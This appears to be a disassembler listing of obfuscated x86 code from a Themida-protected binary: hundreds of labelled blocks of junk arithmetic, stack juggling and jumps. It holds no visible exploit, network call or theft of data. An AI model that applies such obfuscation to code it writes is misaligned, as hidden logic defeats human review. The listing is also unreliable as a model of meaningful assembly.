loc_5AAB0C: ; CODE XREF: Themida_:loc_5A9984j
; Themida_:loc_5AC378j
shl eax, 7
jz loc_5AEA84
sub eax, 2FC40B6Bh
jb loc_5A6384
add eax, 0DB8E193Dh
mov esi, eax
mov eax, [esp]
loc_5AAB2A: ; CODE XREF: Themida_:005AA00Aj
mov ebx, 77B91BF1h
jmp loc_5AB6B2
; ---------------------------------------------------------------------------
loc_5AAB34: ; CODE XREF: Themida_:0059DD51j
neg ebx
xor ebx, 0C4D2F8D4h
add edx, 1AF21128h
add edx, ebx
jmp loc_59FD35
; ---------------------------------------------------------------------------
loc_5AAB49: ; CODE XREF: Themida_:0059F1F5j
dec ecx
sub ecx, 0FF6EF760h
add ecx, edi
jmp loc_5A8698
; ---------------------------------------------------------------------------
loc_5AAB57: ; CODE XREF: Themida_:00598B52j
sub bl, al
add bl, 27h
add bl, 0E2h
push 1892h
jmp loc_59F60D
; ---------------------------------------------------------------------------
loc_5AAB69: ; CODE XREF: Themida_:005A6DBDj
pop ecx
jmp loc_59C39B
; ---------------------------------------------------------------------------
loc_5AAB6F: ; CODE XREF: Themida_:0059C9E5j
pop ecx
pop edx
shl ecx, 3
add ecx, 0FFFFFFFFh
not ecx
and ecx, 50860E27h
neg ecx
push edx
mov edx, 0A570DE4h
jmp loc_5A4A68
; ---------------------------------------------------------------------------
loc_5AAB8C: ; CODE XREF: Themida_:005ABA85j
pop ebp
add esp, 4
mov eax, [esp]
add esp, 4
push eax
push ecx
mov ecx, 43633456h
dec ecx
jge loc_599214
xor ecx, 3A726568h
mov eax, ecx
pop ecx
pop esp
loc_5AABB1: ; CODE XREF: Themida_:005AA15Cj
pop ecx
push edx
mov edx, 6D180A2Ch
add edx, 138DB867h
jmp loc_5AAA29
; ---------------------------------------------------------------------------
loc_5AABC3: ; CODE XREF: Themida_:005A3449j
add ch, 6Eh
mov bh, ch
pop ecx
jmp loc_5AFDE8
; ---------------------------------------------------------------------------
loc_5AABCE: ; CODE XREF: Themida_:005ADCC3j
sub esp, 4
jmp loc_5A24A8
; ---------------------------------------------------------------------------
loc_5AABD6: ; CODE XREF: Themida_:005AF507j
sub bl, ch
jmp loc_5A6170
; ---------------------------------------------------------------------------
loc_5AABDD: ; CODE XREF: Themida_:005AB6ADj
pop esp
jmp loc_5A1074
; ---------------------------------------------------------------------------
loc_5AABE3: ; CODE XREF: Themida_:005A368Ej
pop edi
pop ebx
push edx
push ecx
push 4
jmp loc_59CA44
; ---------------------------------------------------------------------------
loc_5AABF1: ; CODE XREF: Themida_:loc_5A9BD6j
pop dword ptr [edx]
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5AABF8: ; CODE XREF: Themida_:005A096Dj
shr edi, 7
sub edi, 2C13A57Eh
add ebx, edi
pop edi
add ebp, ebx
jmp loc_5AE734
; ---------------------------------------------------------------------------
loc_5AAC0B: ; CODE XREF: Themida_:005A9A26j
pop ebx
jmp loc_59B39A
; ---------------------------------------------------------------------------
loc_5AAC11: ; CODE XREF: Themida_:005A8BF8j
add dword ptr [esp], 36A35C83h
pop ebp
sub ebp, 36A35C83h
mov ebx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
sub ebx, ebp
push dword ptr [esp]
push dword ptr [esp]
mov ebp, [esp]
push eax
jmp loc_5A6B3B
; ---------------------------------------------------------------------------
loc_5AAC43: ; CODE XREF: Themida_:0059BAADj
; Themida_:0059FB8Fj
and eax, ecx
jmp loc_599ED8
; ---------------------------------------------------------------------------
loc_5AAC4A: ; CODE XREF: Themida_:0059FE4Aj
add [esp+4], edx
push eax
mov eax, 508C788Fh
sub dword ptr [esp+8], 34CA774Bh
add [esp+8], eax
add dword ptr [esp+8], 34CA774Bh
pop eax
push esi
mov esi, 41B03D86h
add [esp+8], esi
mov esi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_59C197
; ---------------------------------------------------------------------------
loc_5AAC87: ; CODE XREF: Themida_:005AC136j
mov ch, ah
push eax
mov al, ch
mov dh, al
pop eax
push dword ptr [esp]
pop ecx
push ecx
jmp loc_59C0A2
; ---------------------------------------------------------------------------
loc_5AAC99: ; CODE XREF: Themida_:005A07E9j
push edx
mov edx, 38h
mov ecx, edx
pop edx
add ecx, edx
jmp loc_5AF595
; ---------------------------------------------------------------------------
loc_5AACA9: ; CODE XREF: Themida_:0059B613j
mov ebp, 359C3E44h
sub edx, ebp
pop ebp
add ecx, edx
jmp loc_5A4570
; ---------------------------------------------------------------------------
loc_5AACB8: ; CODE XREF: Themida_:005A8B11j
sub esi, 5BB27A06h
add esi, 4F8C5174h
add esi, eax
jmp loc_5AE70E
; ---------------------------------------------------------------------------
loc_5AACCB: ; CODE XREF: Themida_:005AE7E4j
push ecx
mov ecx, 6F5F05CCh
sub esi, 22B039BAh
sub esi, ecx
add esi, 22B039BAh
jmp loc_5AA680
; ---------------------------------------------------------------------------
loc_5AACE4: ; CODE XREF: Themida_:0059B8ABj
add ebx, 0AC5F354Bh
sub ebp, 69107429h
add ebp, ebx
add ebp, 69107429h
mov ebx, [esp]
add esp, 4
push 339Ah
jmp loc_5ABB17
; ---------------------------------------------------------------------------
loc_5AAD0B: ; CODE XREF: Themida_:00599FCDj
add ebp, esi
pop esi
push edx
sub esp, 4
mov [esp], ebp
push 5DF92554h
mov ebp, [esp]
jmp loc_5A8B76
; ---------------------------------------------------------------------------
loc_5AAD25: ; CODE XREF: Themida_:005A6FD9j
sub ebp, 0BC0DFA67h
or ebp, 94D415Bh
jo loc_5ADC8C
sub ebp, 0C0F6985h
jg loc_598FD7
or ebp, 28287460h
or ebp, 16427A2Eh
loc_5AAD4F: ; CODE XREF: Themida_:0059BDE1j
sub edi, 6E1F2739h
jmp loc_59C254
; ---------------------------------------------------------------------------
loc_5AAD5A: ; CODE XREF: Themida_:0059B17Cj
sub ecx, 39A2348Fh
jbe loc_5A56A4
sub ecx, 47EA89E4h
push ebp
mov ebp, 225615A9h
not ebp
jmp loc_5A81A1
; ---------------------------------------------------------------------------
loc_5AAD79: ; CODE XREF: Themida_:005AF8C6j
push edx
mov edx, 36DD2F43h
mov edi, edx
jmp loc_5AEB19
; ---------------------------------------------------------------------------
loc_5AAD86: ; CODE XREF: Themida_:005A5034j
; Themida_:005AD17Aj
sub esp, 4
mov [esp], ebx
jmp loc_5A9AFB
; ---------------------------------------------------------------------------
loc_5AAD94: ; CODE XREF: Themida_:005ADCE2j
add ecx, 4
xchg ecx, [esp]
pop esp
push eax
mov eax, 629D3F7Eh
jmp loc_5AAE89
; ---------------------------------------------------------------------------
loc_5AADA6: ; CODE XREF: Themida_:005A94E8j
pop esp
jmp loc_59C66E
; ---------------------------------------------------------------------------
loc_5AADAC: ; CODE XREF: Themida_:0059F037j
; Themida_:005A0B5Cj
push ebp
mov ebp, 1DF79E8h
xchg edx, ebp
not edx
xchg edx, ebp
shr ebp, 8
push 4DEDh
jmp loc_5A5A10
; ---------------------------------------------------------------------------
loc_5AADC5: ; CODE XREF: Themida_:0059EFE1j
dec ecx
push eax
push ebx
jmp loc_5AE44F
; ---------------------------------------------------------------------------
loc_5AADCD: ; CODE XREF: Themida_:005A6FF6j
push 6A13h
jmp loc_59BAD2
; ---------------------------------------------------------------------------
loc_5AADD7: ; CODE XREF: Themida_:0059D612j
add ebx, 698D181Eh
sub ebx, 79074905h
pop ebp
jmp loc_5A787B
; ---------------------------------------------------------------------------
loc_5AADE9: ; CODE XREF: Themida_:0059F155j
xor ecx, 39BE1492h
sub ecx, 0FB73AB39h
mov ebp, ecx
mov ecx, [esp]
add esp, 4
jmp loc_5ACCF9
; ---------------------------------------------------------------------------
loc_5AAE02: ; CODE XREF: Themida_:0059F0FFj
mov ecx, esp
push 65F1h
mov [esp], esi
mov esi, 688341CDh
not esi
dec esi
neg esi
neg esi
push edi
mov edi, 6F59089Fh
shr edi, 4
xor edi, 7FE02FAEh
inc edi
add edi, 1E66FF05h
sub esi, edi
pop edi
add ecx, esi
pop esi
jmp loc_59AFD4
; ---------------------------------------------------------------------------
loc_5AAE39: ; CODE XREF: Themida_:005AE01Ej
sub ecx, 6572E18h
sub ecx, 0BF4A598Ch
mov eax, ecx
pop ecx
add esi, eax
pop eax
add esi, 6DA02F8Ch
and ecx, esi
mov esi, [esp]
add esp, 4
shr ecx, 0Bh
sub esp, 4
mov [esp], ebx
push 4414h
mov [esp], esi
jmp loc_59B1CE
; ---------------------------------------------------------------------------
loc_5AAE72: ; CODE XREF: Themida_:005AF5B7j
sub bl, 1Fh
mov edx, [esp]
add esp, 4
add bl, al
push cx
push eax
push edx
jmp loc_5AF81A
; ---------------------------------------------------------------------------
loc_5AAE89: ; CODE XREF: Themida_:005AADA1j
sub eax, 0AD04AA4h
shl eax, 1
or eax, 59A01191h
sub eax, 0A783EEC8h
sub edx, eax
pop eax
sub edx, 48CF1465h
jmp loc_5989A3
; ---------------------------------------------------------------------------
push small 4D7Fh
jmp loc_5AC01A
; ---------------------------------------------------------------------------
loc_5AAEB1: ; CODE XREF: Themida_:005A82E4j
; Themida_:005A84CEj ...
jz loc_5A4F7A
jmp loc_5A504C
; ---------------------------------------------------------------------------
loc_5AAEBC: ; CODE XREF: Themida_:005A624Cj
jz loc_59A4AF
add eax, 0F37DB953h
jmp loc_5A57D2
; ---------------------------------------------------------------------------
loc_5AAECC: ; CODE XREF: Themida_:005AA822j
pop esp
pop dword ptr [esp]
pop esp
sub esp, 4
mov [esp], edx
mov edx, 1
and eax, edx
push dword ptr [esp]
pop edx
push ebp
mov ebp, esp
push ecx
jmp loc_5A216B
; ---------------------------------------------------------------------------
loc_5AAEEE: ; CODE XREF: Themida_:005A6C59j
add edi, 4
jmp loc_5A9E24
; ---------------------------------------------------------------------------
loc_5AAEF9: ; CODE XREF: Themida_:005A47ECj
; Themida_:005A5893j
movsx cx, al
push edx
sub esp, 4
jmp loc_5AEDDA
; ---------------------------------------------------------------------------
loc_5AAF09: ; CODE XREF: Themida_:005AC7DBj
sub esi, 1A330DCCh
add esi, 721A0530h
sub esi, ecx
jmp loc_5A6664
; ---------------------------------------------------------------------------
loc_5AAF1C: ; CODE XREF: Themida_:005A3D63j
mov [esp], ebx
mov ebx, 1F18138Dh
sub edx, 4ADE1496h
jmp loc_5A639C
; ---------------------------------------------------------------------------
loc_5AAF2F: ; CODE XREF: Themida_:005A049Ej
mov esp, [esp]
mov [esp], edi
push esi
mov esi, 5DCC7C9Eh
sub dword ptr [esp+4], 0A77293Ch
add dword ptr [esp+4], 695027A2h
sub [esp+4], esi
sub dword ptr [esp+4], 695027A2h
add dword ptr [esp+4], 0A77293Ch
pop esi
pop dword ptr [eax]
push ebx
mov ebx, 5DCC7C9Eh
add [eax], ebx
mov ebx, [esp]
add esp, 4
jmp loc_5A0887
; ---------------------------------------------------------------------------
loc_5AAF75: ; CODE XREF: Themida_:005A6203j
sub al, 19h
jmp loc_59FDF5
; ---------------------------------------------------------------------------
loc_5AAF7C: ; CODE XREF: Themida_:loc_59B164j
; Themida_:005AB464j
push edi
push esi
jmp loc_5A1393
; ---------------------------------------------------------------------------
loc_5AAF83: ; CODE XREF: Themida_:005A8D06j
add edx, 0BFD2B27h
jns loc_5A4056
add edx, 0FFFFFFFFh
jmp loc_5A4F65
; ---------------------------------------------------------------------------
loc_5AAF97: ; CODE XREF: Themida_:005A1A44j
dec edi
xchg edi, esi
push ebx
push 459539Dh
jmp loc_5ADCE7
; ---------------------------------------------------------------------------
loc_5AAFA5: ; CODE XREF: Themida_:005AEC2Fj
add esp, 4
add eax, 4
jmp loc_5AF7DB
; ---------------------------------------------------------------------------
loc_5AAFB5: ; CODE XREF: Themida_:005A7CC5j
push edx
mov dl, 0D2h
add dl, 0D4h
dec dl
jmp loc_59B3DE
; ---------------------------------------------------------------------------
loc_5AAFC2: ; CODE XREF: Themida_:0059B32Fj
add dl, 5Dh
jnb loc_599256
sub dl, 36h
add dl, 0DBh
mov ah, 0DCh
sub ah, dl
jmp loc_59B3F4
; ---------------------------------------------------------------------------
loc_5AAFDA: ; CODE XREF: Themida_:005A4D38j
sub edx, 4
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
mov [esp], edi
push esi
mov esi, 121A3325h
mov edi, 2229742Bh
xor edi, esi
jmp loc_59CC9A
; ---------------------------------------------------------------------------
loc_5AAFFC: ; CODE XREF: Themida_:005AFE2Aj
xor esi, [esp]
pop esp
mov [esp], esi
push edi
mov edi, 4F100FDBh
mov esi, edi
pop edi
add esi, 596C3763h
ja loc_59E9EE
dec esi
jmp loc_5A021A
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_599024
; ---------------------------------------------------------------------------
loc_5AB026: ; CODE XREF: Themida_:005A5807j
; Themida_:005AF155j
jnp loc_59DAB6
jmp loc_59926D
; ---------------------------------------------------------------------------
push 56AA506Bh
loc_5AB036: ; CODE XREF: Themida_:005AE07Bj
push ecx
mov ecx, 76CA3DE1h
xor ecx, 791B402Dh
add ecx, 0F02E8238h
add ebx, ecx
jmp loc_5A38F9
; ---------------------------------------------------------------------------
loc_5AB04F: ; CODE XREF: Themida_:0059D9A9j
mov [esp], eax
push edx
jmp loc_5AE13F
; ---------------------------------------------------------------------------
loc_5AB058: ; CODE XREF: Themida_:005AE973j
push esp
pop eax
add eax, 4
push esi
jmp loc_5A7312
; ---------------------------------------------------------------------------
loc_5AB065: ; CODE XREF: Themida_:005A14C6j
mov [esp], esp
add dword ptr [esp], 4
pop ebx
push 7CF0h
mov [esp], ebp
mov ebp, 4
add ebx, ebp
pop ebp
push ebp
push esi
mov esi, 47A04E71h
add esi, 0C6D2091h
jmp loc_5AF493
; ---------------------------------------------------------------------------
loc_5AB08F: ; CODE XREF: Themida_:0059EBD5j
pop esi
push esi
mov esi, esp
push edi
mov edi, 2B04155Eh
sub edi, 0EC67B398h
sub edi, 3E9C61C2h
add esi, edi
mov edi, [esp]
jmp loc_5A112C
; ---------------------------------------------------------------------------
loc_5AB0AF: ; CODE XREF: Themida_:0059C2F7j
pop ebx
add ebx, 4
jmp loc_5A8664
; ---------------------------------------------------------------------------
loc_5AB0BB: ; CODE XREF: Themida_:0059B0FBj
sub edi, edx
pop edx
sub esp, 4
mov [esp], edi
jmp loc_5A03D2
; ---------------------------------------------------------------------------
loc_5AB0CC: ; CODE XREF: Themida_:005A8598j
dec ebx
jmp loc_5A2230
; ---------------------------------------------------------------------------
loc_5AB0D2: ; CODE XREF: Themida_:005A0CC5j
push ecx
mov ecx, 4
add esi, ecx
pop ecx
jmp loc_59F0FE
; ---------------------------------------------------------------------------
loc_5AB0E0: ; CODE XREF: Themida_:005A6B8Fj
bt [esp], eax
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5AB0EA: ; CODE XREF: Themida_:005A0C55j
; Themida_:005A3376j ...
push dword ptr [esp]
pop edx
push edi
mov edi, esp
jmp loc_599A9F
; ---------------------------------------------------------------------------
loc_5AB0F6: ; CODE XREF: Themida_:005A9D7Dj
sub ecx, ebx
pop ebx
add ecx, 63437D2h
add ecx, 5FBBF63Eh
sub edx, ecx
pop ecx
add edx, edi
add edx, 62683C38h
mov edi, [esp]
add esp, 4
jmp loc_5A000F
; ---------------------------------------------------------------------------
loc_5AB11B: ; CODE XREF: Themida_:0059A207j
xchg edi, [esp]
mov esp, [esp]
loc_5AB121: ; CODE XREF: Themida_:005A34A2j
push 86h
mov [esp], ebx
jmp loc_5AEE9A
; ---------------------------------------------------------------------------
loc_5AB12E: ; CODE XREF: Themida_:005A7A12j
sub ebx, esi
pop esi
jmp loc_59C67E
; ---------------------------------------------------------------------------
loc_5AB136: ; CODE XREF: Themida_:005A14ABj
pop ebx
push ecx
mov ch, 5Eh
or ch, 66h
jmp loc_5AB7EE
; ---------------------------------------------------------------------------
loc_5AB142: ; CODE XREF: Themida_:005A4C9Bj
pop ebp
push esi
push ebx
pop esi
pop ebx
not ebx
xchg ebx, esi
add esi, 0BCB6D27h
jmp loc_59AB71
; ---------------------------------------------------------------------------
loc_5AB156: ; CODE XREF: Themida_:005AD1AFj
xor edi, [esp]
pop esp
add esi, 0C3307626h
mov edi, esi
pop esi
add ecx, 77257653h
add ecx, edi
jmp loc_5A7941
; ---------------------------------------------------------------------------
loc_5AB170: ; CODE XREF: Themida_:0059AA82j
add dword ptr [esp+4], 16266AEDh
jmp loc_5ADD54
; ---------------------------------------------------------------------------
loc_5AB17D: ; CODE XREF: Themida_:005A2972j
sub ebp, 6D4F09D9h
add ebp, 7D392DB9h
jmp loc_59FFA1
; ---------------------------------------------------------------------------
loc_5AB18E: ; CODE XREF: Themida_:005A4881j
add ch, 11h
pop edx
jmp loc_5A3777
; ---------------------------------------------------------------------------
loc_5AB197: ; CODE XREF: Themida_:0059F41Fj
pop esp
pop edx
sub bl, cl
mov ecx, [esp]
add esp, 4
sub bl, al
sub esp, 4
mov [esp], ecx
mov cl, 0Fh
jmp loc_5ADDF0
; ---------------------------------------------------------------------------
loc_5AB1B3: ; CODE XREF: Themida_:005A0606j
add ecx, 0FFFFFFFFh
xchg eax, ecx
push esi
push esp
pop esi
push edx
mov edx, 15545836h
jmp loc_5ABDA7
; ---------------------------------------------------------------------------
loc_5AB1C5: ; CODE XREF: Themida_:005A6EEDj
mov esi, 393A4E2Ch
xor esi, 64772D0Ch
sub edi, 6FC32EF2h
jmp loc_5AB9A5
; ---------------------------------------------------------------------------
loc_5AB1DB: ; CODE XREF: Themida_:00598F49j
add edx, ebp
pop ebp
push dword ptr [esp]
pop ecx
jmp loc_59A75D
; ---------------------------------------------------------------------------
loc_5AB1E7: ; CODE XREF: Themida_:005AFB3Fj
jnp loc_59BF2E
add edx, 8BFF2E2h
jmp loc_59F480
; ---------------------------------------------------------------------------
db 88h, 0C9h
; ---------------------------------------------------------------------------
push esp
loc_5AB1FB: ; CODE XREF: Themida_:0059F734j
push 64CB0A8Ah
jmp loc_5A474B
; ---------------------------------------------------------------------------
loc_5AB205: ; CODE XREF: Themida_:0059E785j
mov [esp], eax
jmp loc_5A060B
; ---------------------------------------------------------------------------
loc_5AB20D: ; CODE XREF: Themida_:005A161Dj
push ebp
mov ebp, 1716607Fh
add esi, ebp
pop ebp
add esi, 0ED1D667Bh
jmp loc_5AD96A
; ---------------------------------------------------------------------------
loc_5AB221: ; CODE XREF: Themida_:005A415Dj
push edx
mov dh, 45h
jmp loc_59BEB3
; ---------------------------------------------------------------------------
loc_5AB229: ; CODE XREF: Themida_:005A08FFj
neg cl
jmp loc_5AEE6A
; ---------------------------------------------------------------------------
loc_5AB230: ; CODE XREF: Themida_:0059E5D5j
mov ch, 0D5h
sub dl, ch
pop cx
add al, dl
jmp loc_5A7E18
; ---------------------------------------------------------------------------
loc_5AB23D: ; CODE XREF: Themida_:00599E54j
pop esi
push ebx
mov ebx, 2
jmp loc_59CAC7
; ---------------------------------------------------------------------------
loc_5AB249: ; CODE XREF: Themida_:005AE67Fj
mov ebp, esp
add ebp, 4
jmp loc_5A405E
; ---------------------------------------------------------------------------
loc_5AB256: ; CODE XREF: Themida_:005A7FC8j
xor edx, [esp]
mov esp, [esp]
mov [esp], cx
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5AB265: ; CODE XREF: Themida_:0059E5EFj
mov eax, esi
pop esi
sub eax, esi
push esi
jmp loc_59A1CB
; ---------------------------------------------------------------------------
loc_5AB270: ; CODE XREF: Themida_:005A7DB1j
push ebp
jmp loc_5A4843
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl dword ptr [esp], cl
pushf
jmp loc_59B5F6
; ---------------------------------------------------------------------------
loc_5AB285: ; CODE XREF: Themida_:005A3A27j
push dword ptr [esp]
pop edx
push ebp
jmp loc_5A4BD9
; ---------------------------------------------------------------------------
loc_5AB28F: ; CODE XREF: Themida_:005A8CBEj
xor edi, edx
pop edx
or edi, 57E254B8h
sub edi, 7B57287h
sub edi, 6D7B7B4Ch
jmp loc_5A95CA
; ---------------------------------------------------------------------------
loc_5AB2A9: ; CODE XREF: Themida_:005ADEE4j
mov esi, esp
jmp loc_59A7B2
; ---------------------------------------------------------------------------
loc_5AB2B0: ; CODE XREF: Themida_:005A2A91j
add edx, ebp
sub edx, 7381274Dh
sub edx, 52143162h
pop ebp
sub edx, 2
jmp loc_59F121
; ---------------------------------------------------------------------------
loc_5AB2CA: ; CODE XREF: Themida_:00599603j
; Themida_:0059DC5Dj
add esp, 4
push edx
mov edx, 4
add ebp, edx
jmp loc_5A99AF
; ---------------------------------------------------------------------------
loc_5AB2DA: ; CODE XREF: Themida_:005AA3F0j
add esp, 4
push ecx
mov ch, 48h
push dx
mov dl, 59h
jmp loc_5AB38D
; ---------------------------------------------------------------------------
loc_5AB2E9: ; CODE XREF: Themida_:005ABBC7j
mov [esp], esi
push 0FFBh
mov [esp], ebx
push dword ptr [esp]
pop esi
push eax
mov eax, esp
push esi
mov esi, 67776AC3h
push edx
push ecx
jmp loc_5A028A
; ---------------------------------------------------------------------------
loc_5AB308: ; CODE XREF: Themida_:0059B70Fj
pop ebx
sub esp, 4
mov [esp], ebp
mov ebp, esp
push edi
mov edi, 46250A8Ch
shl edi, 1
add edi, 1
shl edi, 7
xor edi, 250A8C84h
add ebp, edi
pop edi
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
jmp loc_5AC3C9
; ---------------------------------------------------------------------------
loc_5AB347: ; CODE XREF: Themida_:005ADBB8j
dec eax
and eax, 525D6020h
inc eax
jmp loc_5A1E9F
; ---------------------------------------------------------------------------
loc_5AB353: ; CODE XREF: Themida_:005ACFC4j
or edx, 608226DAh
xor edx, 1A591075h
jmp loc_59DE97
; ---------------------------------------------------------------------------
loc_5AB364: ; CODE XREF: Themida_:0059A519j
; Themida_:loc_5A549Aj
jnz loc_5A08AD
jmp loc_5A68BA
; ---------------------------------------------------------------------------
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
and al, 0E4h
loc_5AB379: ; CODE XREF: Themida_:0059E3F8j
push eax
mov eax, 410A65E2h
jmp loc_598E99
; ---------------------------------------------------------------------------
loc_5AB384: ; CODE XREF: Themida_:0059F7CEj
add ecx, 4
push ecx
jmp loc_5A08B2
; ---------------------------------------------------------------------------
loc_5AB38D: ; CODE XREF: Themida_:005AB2E4j
sub ch, dl
pop dx
sub al, ch
jmp loc_59A4F7
; ---------------------------------------------------------------------------
loc_5AB398: ; CODE XREF: Themida_:005A3E8Cj
mov ebp, edi
jmp loc_5A7841
; ---------------------------------------------------------------------------
loc_5AB39F: ; CODE XREF: Themida_:005A8B3Bj
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
xchg eax, [esp]
mov esp, [esp]
bts [esp], ax
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5AB3BF: ; CODE XREF: Themida_:005A1D34j
sub edx, edi
pop edi
add edx, eax
add edx, 22721680h
jmp loc_599B16
; ---------------------------------------------------------------------------
loc_5AB3CF: ; CODE XREF: Themida_:005A08A3j
; Themida_:005ABC79j
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_5A5854
; ---------------------------------------------------------------------------
loc_5AB3DB: ; CODE XREF: Themida_:005A4CB2j
pop dword ptr [esp]
pop esp
jmp loc_5A7653
; ---------------------------------------------------------------------------
loc_5AB3E4: ; CODE XREF: Themida_:005A1AA4j
neg ebp
and ebp, 2D952A5Eh
xor ebp, 3650095Bh
xor ebp, 16D12319h
add edx, 6C973FB4h
add edx, ebp
push ecx
mov ecx, 63271EA0h
and ecx, 70052861h
neg ecx
and ecx, 6A933194h
inc ecx
shr ecx, 6
jmp loc_5A4D2E
; ---------------------------------------------------------------------------
loc_5AB41D: ; CODE XREF: Themida_:005A3195j
mov [esp], ebx
mov bl, 82h
inc bl
jmp loc_5ADEF8
; ---------------------------------------------------------------------------
loc_5AB429: ; CODE XREF: Themida_:005A2C67j
pop ebx
jmp loc_5ADD00
; ---------------------------------------------------------------------------
loc_5AB42F: ; CODE XREF: Themida_:0059966Cj
and ebx, 48836D0Ah
jmp loc_5ACC0F
; ---------------------------------------------------------------------------
loc_5AB43A: ; CODE XREF: Themida_:005A912Bj
add edi, 2
xchg edi, [esp]
mov esp, [esp]
sub esp, 4
jmp loc_5A0F32
; ---------------------------------------------------------------------------
loc_5AB451: ; CODE XREF: Themida_:005A9703j
and eax, esi
mov esi, [esp]
add esp, 4
or eax, eax
jz loc_5A45FE
push dword ptr [edi+1Ch]
jmp loc_5AAF7C
; ---------------------------------------------------------------------------
loc_5AB469: ; CODE XREF: Themida_:005AB750j
mov bl, al
pop eax
push eax
mov al, bl
mov ch, al
pop eax
pop ebx
pop edx
mov ah, 3Fh
sub ah, ch
pop ecx
jmp loc_59CB5C
; ---------------------------------------------------------------------------
loc_5AB47E: ; CODE XREF: Themida_:005A5E24j
mov edi, 0ABF2FCFh
add edi, 18A930B0h
sub ebx, edi
pop edi
add ebx, edx
add ebx, 2368607Fh
mov edx, [esp]
add esp, 4
push ebp
push edi
jmp loc_5AA39A
; ---------------------------------------------------------------------------
loc_5AB4A4: ; CODE XREF: Themida_:005A2585j
pop esp
shr eax, 0Bh
xor ecx, eax
push esi
mov esi, ebx
jmp loc_5A994F
; ---------------------------------------------------------------------------
loc_5AB4B2: ; CODE XREF: Themida_:0059A59Fj
mov esi, esp
add esi, 4
jmp loc_5A81DA
; ---------------------------------------------------------------------------
loc_5AB4BF: ; CODE XREF: Themida_:00598C69j
neg ch
js loc_5AB936
add ch, 13h
jmp loc_59B855
; ---------------------------------------------------------------------------
loc_5AB4CF: ; CODE XREF: Themida_:005A4769j
xor [esp], ebx
pop dword ptr [edi+24h]
jmp loc_5A6A7C
; ---------------------------------------------------------------------------
loc_5AB4DA: ; CODE XREF: Themida_:005AF374j
push eax
jmp loc_59D909
; ---------------------------------------------------------------------------
loc_5AB4E0: ; CODE XREF: Themida_:005AD9D2j
pop ebp
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
jmp loc_5A72C0
; ---------------------------------------------------------------------------
loc_5AB4F0: ; CODE XREF: Themida_:005AC29Ej
mov ecx, ebx
jmp loc_5A5C35
; ---------------------------------------------------------------------------
loc_5AB4F7: ; CODE XREF: Themida_:005ACBF7j
mov esi, [esp]
add esp, 4
push ebp
pop ebx
push dword ptr [esp]
push dword ptr [esp]
pop ebp
add esp, 4
push ebp
mov ebp, esp
jmp loc_5A89F4
; ---------------------------------------------------------------------------
loc_5AB517: ; CODE XREF: Themida_:005A8D2Ej
push edi
push 1FAB5B69h
pop edi
mov ebx, 1FAB5B6Dh
sub ebx, edi
mov edi, [esp]
jmp loc_5AA24C
; ---------------------------------------------------------------------------
loc_5AB52D: ; CODE XREF: Themida_:005AE757j
pop eax
push edi
mov edi, 534E3A5Ah
sub edx, edi
mov edi, [esp]
add esp, 4
push eax
jmp loc_5ABE7A
; ---------------------------------------------------------------------------
loc_5AB542: ; CODE XREF: Themida_:00599247j
mov ecx, 0F01513Bh
and ecx, 6F323A21h
dec ecx
shl ecx, 5
add ecx, 64413F50h
add esi, ecx
pop ecx
jmp loc_59ECA3
; ---------------------------------------------------------------------------
loc_5AB55F: ; CODE XREF: Themida_:005A2058j
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ecx
mov ecx, 0FFFFFFFFh
add ebx, ecx
jmp loc_5AEE94
; ---------------------------------------------------------------------------
loc_5AB578: ; CODE XREF: Themida_:005A7563j
push ecx
sub esp, 4
mov [esp], eax
mov eax, 745D6294h
shl eax, 3
shr eax, 5
push edi
jmp loc_59F34C
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], ebp
push eax
push 50BF0B14h
jmp loc_5A286D
; ---------------------------------------------------------------------------
loc_5AB5A1: ; CODE XREF: Themida_:005A8043j
push ebp
jmp loc_59EBC3
; ---------------------------------------------------------------------------
loc_5AB5A7: ; CODE XREF: Themida_:005AC7F1j
and bl, 0F8h
ja loc_59C18F
or bl, 95h
jmp loc_59CBD0
; ---------------------------------------------------------------------------
xchg ecx, [esp]
pop esp
loc_5AB5BC: ; CODE XREF: Themida_:0059D408j
add esp, 4
push ebp
mov ebp, 7D703983h
push 0
sub [esp], ebp
pop ebp
shr ebp, 6
sub ebp, 481D180Bh
xor ebp, 95B273ECh
sub ebx, ebp
jmp loc_5AD0D1
; ---------------------------------------------------------------------------
loc_5AB5E7: ; CODE XREF: Themida_:005A1BDAj
shl edi, 2
sub edi, 1724F75Ch
jmp loc_59C83B
; ---------------------------------------------------------------------------
loc_5AB5F5: ; CODE XREF: Themida_:005AA92Ej
sub esp, 4
mov [esp], ebx
push edi
mov edi, 235959BEh
mov ebx, edi
pop edi
or ebx, 67BC2208h
xor ebx, 66B80B39h
xchg eax, ebx
jmp loc_5AE3D4
; ---------------------------------------------------------------------------
loc_5AB619: ; CODE XREF: Themida_:0059CEA1j
sub esi, 74843531h
inc esi
sub esi, 4CDD1B8Ch
push ebx
jmp loc_5AE240
; ---------------------------------------------------------------------------
loc_5AB62C: ; CODE XREF: Themida_:0059AB1Ej
push 64E0h
jmp loc_5A307A
; ---------------------------------------------------------------------------
loc_5AB636: ; CODE XREF: Themida_:loc_59C69Fj
jmp loc_59D080
; ---------------------------------------------------------------------------
loc_5AB63B: ; CODE XREF: Themida_:005A1512j
xor ebp, [esp]
mov esp, [esp]
mov [esp], esi
push ebx
mov ebx, eax
mov esi, ebx
mov ebx, [esp]
jmp loc_5AF8CB
; ---------------------------------------------------------------------------
loc_5AB651: ; CODE XREF: Themida_:0059976Cj
add edx, 7C3C4A60h
pop esi
push ebx
push edx
jmp loc_5ACC47
